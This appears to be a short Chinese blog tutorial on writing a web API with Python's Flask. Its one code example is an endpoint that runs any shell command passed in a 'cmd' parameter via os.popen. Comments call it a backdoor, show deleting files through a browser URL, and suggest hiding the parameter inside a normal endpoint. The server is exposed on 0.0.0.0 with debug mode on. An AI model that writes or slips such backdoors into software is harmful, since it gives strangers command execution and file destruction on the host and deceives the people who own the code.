如何用python写接口

如何用python写接口?具体步骤如下:

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
ShineWinsu18 小时前
对于C++:继承的解析—上
开发语言·数据结构·c++·算法·面试·笔试·继承
小付同学呀18 小时前
C语言学习(五)——输入/输出
c语言·开发语言·学习
梦幻精灵_cq19 小时前
学C之路:不可或缺的main()主函数框架(Learn-C 1st)
c语言·开发语言
哈里谢顿19 小时前
Django 应用 OOM(Out of Memory)故障的定位思路和排查方法
python·django
消失的旧时光-194319 小时前
C++ 多线程与并发系统取向(二)—— 资源保护:std::mutex 与 RAII(类比 Java synchronized)
java·开发语言·c++·并发
甄心爱学习19 小时前
【python】获取所有长度为 k 的二进制字符串
python·算法
福大大架构师每日一题20 小时前
go-zero v1.10.0发布!全面支持Go 1.23、MCP SDK迁移、性能与稳定性双提升
开发语言·后端·golang
tuotali202620 小时前
氢气压缩机技术规范亲测案例分享
人工智能·python
嫂子的姐夫20 小时前
030-扣代码:湖北图书馆登录
爬虫·python·逆向
五阿哥永琪21 小时前
1. 为什么java不能用is开头来做布尔值的参数名,会出现反序列化异常。
java·开发语言